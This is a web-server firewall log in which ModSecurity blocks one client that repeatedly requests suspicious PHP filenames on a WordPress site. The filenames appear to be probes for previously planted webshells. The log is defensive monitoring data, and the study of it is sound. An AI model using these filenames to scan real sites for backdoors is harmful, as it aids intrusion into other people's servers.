[Mon May 04 23:44:16.689569 2026] [:error] [pid 61042:tid 61064] [client 20.29.119.89:63432] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-class-atom.php"] [unique_id "afi-0EnAPPS1fjubA9RwawAAANI"]
[Mon May 04 23:44:17.245210 2026] [:error] [pid 3341:tid 3347] [client 20.29.119.89:65280] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-class-atom.php"] [unique_id "afi-0U9o3_LordU0wW6bvAAAAIM"]
[Mon May 04 23:44:17.800587 2026] [:error] [pid 61042:tid 61058] [client 20.29.119.89:61536] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-block.php"] [unique_id "afi-0UnAPPS1fjubA9RwbQAAAMw"]
[Mon May 04 23:44:18.258783 2026] [:error] [pid 61044:tid 61119] [client 20.29.119.89:64010] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-block.php"] [unique_id "afi-0kw8w2zZZXI6H1u4YwAAABE"]
[Mon May 04 23:44:18.711249 2026] [:error] [pid 61043:tid 61096] [client 20.29.119.89:64684] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-block.php"] [unique_id "afi-0p8-LwtfURjiAbDn7QAAAFU"]
[Mon May 04 23:44:19.126703 2026] [:error] [pid 61044:tid 61115] [client 20.29.119.89:64647] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-block.php"] [unique_id "afi-00w8w2zZZXI6H1u4ZQAAAA0"]
[Mon May 04 23:44:20.053256 2026] [:error] [pid 61043:tid 61082] [client 20.29.119.89:64013] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-signup.php"] [unique_id "afi-1J8-LwtfURjiAbDn7gAAAEc"]
[Mon May 04 23:44:20.564280 2026] [:error] [pid 32471:tid 32478] [client 20.29.119.89:64100] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-signup.php"] [unique_id "afi-1Hmjpb9EYq6AqhKPwwAAAQQ"]
[Mon May 04 23:44:20.990446 2026] [:error] [pid 61044:tid 61120] [client 20.29.119.89:65396] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-signup.php"] [unique_id "afi-1Ew8w2zZZXI6H1u4aQAAABI"]
[Mon May 04 23:44:21.435909 2026] [:error] [pid 61043:tid 61091] [client 20.29.119.89:64711] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-signup.php"] [unique_id "afi-1Z8-LwtfURjiAbDn8QAAAFA"]
[Mon May 04 23:44:21.812877 2026] [:error] [pid 61043:tid 61076] [client 20.29.119.89:64689] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-xmlsia.php"] [unique_id "afi-1Z8-LwtfURjiAbDn8gAAAEE"]
[Mon May 04 23:44:22.239475 2026] [:error] [pid 32471:tid 32482] [client 20.29.119.89:64067] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-xmlsia.php"] [unique_id "afi-1nmjpb9EYq6AqhKPxQAAAQg"]
[Mon May 04 23:44:22.651465 2026] [:error] [pid 32471:tid 32487] [client 20.29.119.89:65354] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-xmlsia.php"] [unique_id "afi-1nmjpb9EYq6AqhKPxwAAAQ0"]
[Mon May 04 23:44:23.063581 2026] [:error] [pid 3341:tid 3368] [client 20.29.119.89:65365] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-xmlsia.php"] [unique_id "afi-109o3_LordU0wW6bwQAAAJg"]
[Mon May 04 23:44:23.560066 2026] [:error] [pid 3341:tid 3362] [client 20.29.119.89:64004] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-inic3.php"] [unique_id "afi-109o3_LordU0wW6bwgAAAJI"]
[Mon May 04 23:44:23.979804 2026] [:error] [pid 32471:tid 32498] [client 20.29.119.89:64727] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-inic3.php"] [unique_id "afi-13mjpb9EYq6AqhKPzgAAARg"]
[Mon May 04 23:44:24.491360 2026] [:error] [pid 3341:tid 3358] [client 20.29.119.89:64709] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-inic3.php"] [unique_id "afi-2E9o3_LordU0wW6bxQAAAI4"]
[Mon May 04 23:44:24.873168 2026] [:error] [pid 32471:tid 32482] [client 20.29.119.89:64699] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-inic3.php"] [unique_id "afi-2Hmjpb9EYq6AqhKP0QAAAQg"]
[Mon May 04 23:44:25.364735 2026] [:error] [pid 3341:tid 3346] [client 20.29.119.89:62770] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ftde.php"] [unique_id "afi-2U9o3_LordU0wW6bxgAAAII"]
[Mon May 04 23:44:25.905398 2026] [:error] [pid 32471:tid 32490] [client 20.29.119.89:63430] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ftde.php"] [unique_id "afi-2Xmjpb9EYq6AqhKP1wAAARA"]
[Mon May 04 23:44:26.332451 2026] [:error] [pid 61044:tid 61102] [client 20.29.119.89:64745] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ftde.php"] [unique_id "afi-2kw8w2zZZXI6H1u4bgAAAAA"]
[Mon May 04 23:44:26.880206 2026] [:error] [pid 3341:tid 3357] [client 20.29.119.89:65331] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ftde.php"] [unique_id "afi-2k9o3_LordU0wW6byAAAAI0"]
[Mon May 04 23:44:27.280775 2026] [:error] [pid 61042:tid 61062] [client 20.29.119.89:64660] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "afi-20nAPPS1fjubA9RwcgAAANA"]
[Mon May 04 23:44:27.687546 2026] [:error] [pid 61043:tid 61092] [client 20.29.119.89:64670] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "afi-258-LwtfURjiAbDn9wAAAFE"]
[Mon May 04 23:44:28.158088 2026] [:error] [pid 61043:tid 61079] [client 20.29.119.89:62825] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "afi-3J8-LwtfURjiAbDn-QAAAEQ"]
[Mon May 04 23:44:28.765578 2026] [:error] [pid 61042:tid 61047] [client 20.29.119.89:64688] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "afi-3EnAPPS1fjubA9RwcwAAAME"]
[Mon May 04 23:44:29.191537 2026] [:error] [pid 61042:tid 61054] [client 20.29.119.89:64086] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albin.php"] [unique_id "afi-3UnAPPS1fjubA9RwdQAAAMg"]
[Mon May 04 23:44:29.687734 2026] [:error] [pid 61044:tid 61126] [client 20.29.119.89:64074] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albin.php"] [unique_id "afi-3Uw8w2zZZXI6H1u4bwAAABg"]
[Mon May 04 23:44:30.172212 2026] [:error] [pid 61044:tid 61104] [client 20.29.119.89:64107] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albin.php"] [unique_id "afi-3kw8w2zZZXI6H1u4cAAAAAI"]
[Mon May 04 23:44:30.647331 2026] [:error] [pid 61042:tid 61059] [client 20.29.119.89:65306] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albin.php"] [unique_id "afi-3knAPPS1fjubA9RweAAAAM0"]
[Mon May 04 23:44:31.196797 2026] [:error] [pid 3341:tid 3346] [client 20.29.119.89:64749] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-firewall.php"] [unique_id "afi-309o3_LordU0wW6b0gAAAII"]
[Mon May 04 23:44:31.635168 2026] [:error] [pid 3341:tid 3356] [client 20.29.119.89:64736] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-firewall.php"] [unique_id "afi-309o3_LordU0wW6b0wAAAIw"]
[Mon May 04 23:44:32.124773 2026] [:error] [pid 3341:tid 3352] [client 20.29.119.89:64754] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-firewall.php"] [unique_id "afi-4E9o3_LordU0wW6b1AAAAIg"]
[Mon May 04 23:44:32.588335 2026] [:error] [pid 3341:tid 3357] [client 20.29.119.89:64695] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-firewall.php"] [unique_id "afi-4E9o3_LordU0wW6b1QAAAI0"]
[Mon May 04 23:44:33.282089 2026] [:error] [pid 3341:tid 3347] [client 20.29.119.89:65386] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/samll.php"] [unique_id "afi-4U9o3_LordU0wW6b2QAAAIM"]
[Mon May 04 23:44:33.941031 2026] [:error] [pid 32471:tid 32494] [client 20.29.119.89:64115] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/samll.php"] [unique_id "afi-4Xmjpb9EYq6AqhKP2wAAARQ"]
[Mon May 04 23:44:34.324610 2026] [:error] [pid 3341:tid 3362] [client 20.29.119.89:64014] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/samll.php"] [unique_id "afi-4k9o3_LordU0wW6b3QAAAJI"]
[Mon May 04 23:44:34.868405 2026] [:error] [pid 3341:tid 3349] [client 20.29.119.89:63390] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/samll.php"] [unique_id "afi-4k9o3_LordU0wW6b3wAAAIU"]
[Mon May 04 23:44:35.321285 2026] [:error] [pid 32471:tid 32481] [client 20.29.119.89:64666] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ah25.php"] [unique_id "afi-43mjpb9EYq6AqhKP4AAAAQc"]
[Mon May 04 23:44:35.822364 2026] [:error] [pid 3341:tid 3356] [client 20.29.119.89:64019] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ah25.php"] [unique_id "afi-409o3_LordU0wW6b4QAAAIw"]
[Mon May 04 23:44:36.300640 2026] [:error] [pid 32471:tid 32476] [client 20.29.119.89:65389] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ah25.php"] [unique_id "afi-5Hmjpb9EYq6AqhKP5AAAAQI"]
[Mon May 04 23:44:36.738398 2026] [:error] [pid 32471:tid 32477] [client 20.29.119.89:64738] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ah25.php"] [unique_id "afi-5Hmjpb9EYq6AqhKP5wAAAQM"]
[Mon May 04 23:44:37.161612 2026] [:error] [pid 3341:tid 3365] [client 20.29.119.89:64732] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/txets.php"] [unique_id "afi-5U9o3_LordU0wW6b4gAAAJU"]
[Mon May 04 23:44:37.545548 2026] [:error] [pid 3341:tid 3364] [client 20.29.119.89:64664] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/txets.php"] [unique_id "afi-5U9o3_LordU0wW6b5QAAAJQ"]
[Mon May 04 23:44:37.922282 2026] [:error] [pid 3341:tid 3351] [client 20.29.119.89:64104] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/txets.php"] [unique_id "afi-5U9o3_LordU0wW6b5gAAAIc"]
[Mon May 04 23:44:38.331387 2026] [:error] [pid 3341:tid 3362] [client 20.29.119.89:65394] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/txets.php"] [unique_id "afi-5k9o3_LordU0wW6b6QAAAJI"]
[Mon May 04 23:44:38.711157 2026] [:error] [pid 3341:tid 3350] [client 20.29.119.89:64665] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aevly.php"] [unique_id "afi-5k9o3_LordU0wW6b6wAAAIY"]
[Mon May 04 23:44:39.224522 2026] [:error] [pid 61044:tid 61118] [client 20.29.119.89:63362] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aevly.php"] [unique_id "afi-50w8w2zZZXI6H1u4dAAAABA"]
[Mon May 04 23:44:39.703001 2026] [:error] [pid 61043:tid 61085] [client 20.29.119.89:65299] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aevly.php"] [unique_id "afi-558-LwtfURjiAbDn-wAAAEo"]
[Mon May 04 23:44:40.110878 2026] [:error] [pid 32471:tid 32488] [client 20.29.119.89:64734] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aevly.php"] [unique_id "afi-6Hmjpb9EYq6AqhKP8AAAAQ4"]
[Mon May 04 23:44:40.503090 2026] [:error] [pid 61150:tid 61173] [client 20.29.119.89:63474] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tires.php"] [unique_id "afi-6O8QXWVLiwIGVpempwAAAVQ"]
[Mon May 04 23:44:40.881129 2026] [:error] [pid 3341:tid 3365] [client 20.29.119.89:64662] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tires.php"] [unique_id "afi-6E9o3_LordU0wW6b7wAAAJU"]
[Mon May 04 23:44:41.314272 2026] [:error] [pid 32471:tid 32480] [client 20.29.119.89:64061] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tires.php"] [unique_id "afi-6Xmjpb9EYq6AqhKP9AAAAQY"]
[Mon May 04 23:44:41.813221 2026] [:error] [pid 61150:tid 61175] [client 20.29.119.89:65345] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tires.php"] [unique_id "afi-6e8QXWVLiwIGVpemrwAAAVY"]
[Mon May 04 23:44:42.218028 2026] [:error] [pid 32471:tid 32488] [client 20.29.119.89:62086] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-slss.php"] [unique_id "afi-6nmjpb9EYq6AqhKP-gAAAQ4"]
[Mon May 04 23:44:42.618794 2026] [:error] [pid 32471:tid 32496] [client 20.29.119.89:65301] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-slss.php"] [unique_id "afi-6nmjpb9EYq6AqhKP_AAAARY"]
